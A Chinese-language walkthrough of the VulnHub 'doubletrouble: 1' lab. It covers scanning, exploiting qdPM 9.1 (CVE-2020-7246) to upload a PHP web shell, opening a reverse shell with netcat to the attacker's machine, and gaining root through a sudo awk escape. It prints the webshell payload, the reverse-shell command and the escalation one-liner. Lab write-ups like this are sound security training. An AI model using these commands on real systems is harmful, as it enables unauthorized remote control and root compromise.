doubletrouble: 1靶场渗透
doubletrouble: 1
来自 <doubletrouble: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.130
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.130
4,访问80端口开放的http服务
可以看到网站是一个项目管理系统,使用了qdPM。再扫描枚举网站子目录
gobuster dir -u http://192.168.23.130/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403
基本上网站存在的一些内容都扫出来了
5,检索这个版本的qdPM有什么漏洞
searchsploit qdPM 9.1
存在远程命令执行漏洞,阅读使用说明
1. 运行环境准备
- Python 2.7(代码里语法是 Python2 的 print 'xxx')。
- requests 和 lxml 两个依赖库。
pip install requests lxml - 一个合法授权的 qdPM 9.1 测试环境(搭建在本地靶场,比如 XAMPP + qdPM)。
2. 脚本调用方式
脚本里已经写了调用示例:
python 47954.py -url http://localhost/ -u user@localhost.com -p password
参数说明:
- -url → 目标站点地址(qdPM 系统首页 URL,结尾带 /)。
- -u → 登录邮箱(需要有账户权限,不一定要管理员)。
- -p → 登录密码。
3. 攻击流程(代码解析)
- 登录
- 脚本先访问 /index.php/login,解析出登录表单的 _csrf_token。
- 然后用你提供的邮箱和密码提交,维持 session。
- 路径穿越写入 .htaccess
- 通过修改个人资料 photo_preview 字段,构造文件名为 .htaccess 和 ../.htaccess,尝试控制上传路径。
- 上传恶意 PHP 文件
- 构造带有 <?php system($_REQUEST['cmd']); ?> 的 payload,作为头像文件上传。
- 因为路径穿越绕过,文件最终会出现在 uploads/users/backdoor.php。
- 输出结果
- 脚本最后会打印一句:
Backdoor uploaded at -> http://target/uploads/users/backdoor.php?cmd=whoami - 这个 URL 就是 WebShell,你可以通过 ?cmd=ls、?cmd=cat /etc/passwd 等参数执行命令。
- 脚本最后会打印一句:
必须有有效账号,因为漏洞点在个人账户头像上传功能。所以这个脚本目前无法使用
6,继续信息收集,注意到存在一个secret目录
http://192.168.23.130/secret/doubletrouble.jpg
下载这个图片,分析发现隐写内容
wget http://192.168.23.130/secret/doubletrouble.jpg
stegseek doubletrouble.jpg
使用账户密码登录成功
7,接下来尝试使用脚本对网站getshell
python 47954.py -url http://192.168.23.130 -u otisrush@localhost.com -p otis666
这个错误是因为你的 Python 代码使用了 Python 2.x 的语法,而你正在用 Python 3.x 运行它。
在 Python 3 中,print 已经从语句变为函数,必须使用括号,就像错误提示中所说的 print(...)。
所有print添加括号之后就可以成功使用了,由此成功写入一句话木马
http://192.168.23.130/uploads/users/292055-backdoor.php?cmd=whoami
CVE-2020-7246 (qdPM 9.1 文件上传 + 路径穿越漏洞)
1. 登录阶段
- 脚本首先访问 /index.php/login,解析出登录表单的 CSRF Token(login[_csrf_token])。
- 然后用用户邮箱和密码发起登录请求,建立一个带 Session 的会话。这一点说明:漏洞利用需要一个 已注册用户账号,不一定是管理员。
2. 文件上传机制
qdPM 允许用户在 个人资料(My Account) 中上传头像 (users[photo])。
上传文件后,文件会存放到:/uploads/users/
但是 qdPM 没有严格检查文件扩展名和路径输入,攻击者就能利用这一点。
3. 路径穿越
脚本构造了恶意请求,修改字段 users[photo_preview] 为:
- .htaccess
- ../.htaccess
通过路径穿越写入 .htaccess 文件,改变 Web 服务器对上传目录的处理规则,让 .php 文件可以被执行(否则可能默认只允许图片访问)。
4. 上传 WebShell
之后,脚本再上传一个文件,伪装成头像,文件名 backdoor.php,内容是:
<?php |
这个小后门就是一个命令执行接口,攻击者可以直接通过 URL 传参 ?cmd=ls、?cmd=whoami 等来执行系统命令。
5. 漏洞利用结果
上传成功后,脚本会输出:
Backdoor uploaded at -> http://目标站/uploads/users/backdoor.php?cmd=whoami
访问这个 URL,就能远程控制服务器。
6. 漏洞利用核心逻辑总结
- 获取 CSRF Token + 登录
- 利用路径穿越上传 .htaccess
- 上传恶意 PHP 文件作为头像
- 利用 WebShell 参数执行系统命令
- 实现远程代码执行(RCE)
8,然后再尝试反弹shell到kali
http://192.168.23.130/uploads/users/292055-backdoor.php?cmd=nc%20-e%20/bin/bash%20192.168.23.128%204444
与此同时kali打开对4444端口的监听
成功getshell
9,python脚本获取可交互式shell,然后信息收集
python -c 'import pty;pty.spawn("/bin/bash")'
再看看sudo可否提权
www-data用户被允许以(ALL : ALL)身份(即所有用户和所有组)运行命令,无需输入密码(NOPASSWD)即可运行的命令是:/usr/bin/awk
sudo -u root awk 'BEGIN {system("/bin/sh")}'
执行命令,提权成功
提权原理分析
- 权限基础:
从之前的sudo -l输出可知,www-data用户拥有无需密码(NOPASSWD)以任何用户(包括root)身份执行/usr/bin/awk的权限 - awk命令的特殊性:
awk是一个文本处理工具,但它的system()函数可以执行系统命令
在awk的BEGIN块中,代码会在处理任何输入之前执行,这使得我们可以不依赖输入文件而直接执行命令 - 提权过程:
- 使用sudo -u root指定以root身份运行awk
- 通过awk 'BEGIN {system("/bin/sh")}'在awk中执行/bin/sh,打开一个 shell
- 此时打开的 shell 继承了awk的运行权限(即root权限)
- 提权成功验证:
- 执行id命令显示uid=0(root),确认已获得 root 权限
- 执行whoami命令返回root,进一步验证提权成功